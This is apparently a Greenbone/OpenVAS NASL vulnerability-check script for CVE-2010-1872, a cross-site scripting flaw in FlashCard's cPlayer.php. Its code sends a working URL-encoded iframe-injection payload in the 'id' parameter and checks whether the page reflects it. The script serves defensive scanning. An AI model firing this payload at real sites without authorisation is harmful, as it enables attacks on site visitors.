FlashCard 'cPlayer.php' Cross-Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801211");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2010-05-25 13:56:16 +0200 (Tue, 25 May 2010)");
  script_cve_id("CVE-2010-1872");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("FlashCard 'cPlayer.php' Cross-Site Scripting Vulnerability");
  script_xref(name:"URL", value:"http://secunia.com/advisories/39484");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/39648");
  script_xref(name:"URL", value:"http://www.xenuser.org/documents/security/flashcard_xss.txt");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  code in the context of an affected site.");

  script_tag(name:"affected", value:"FlashCard Version 2.6.5 and 3.0.1");

  script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input
  via the 'id' parameter in 'cPlayer.php' that allows the attackers to execute
  arbitrary HTML and script code on the web server.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"FlashCard is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);

if (!http_can_host_php(port:port)) exit(0);

foreach dir (make_list_unique("/", "/flashcard", "/FlashCard", http_cgi_dirs(port:port)))
{

  if(dir == "/") dir = "";

  res = http_get_cache(item:string(dir,"/index.php"),  port:port);

  if("<TITLE>FlashCard " >< res)
  {
    req = http_get(item:string(dir,'/cPlayer.php?id=%22%3E%3Ciframe%20src=',
                   "http://",get_host_ip(),dir,'/register.php%3E'), port:port);
    res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

    if(eregmatch(pattern: '"><iframe src=http://.*register.php>', string: res))
    {
      security_message(port:port);
      exit(0);
    }
  }
}

exit(99);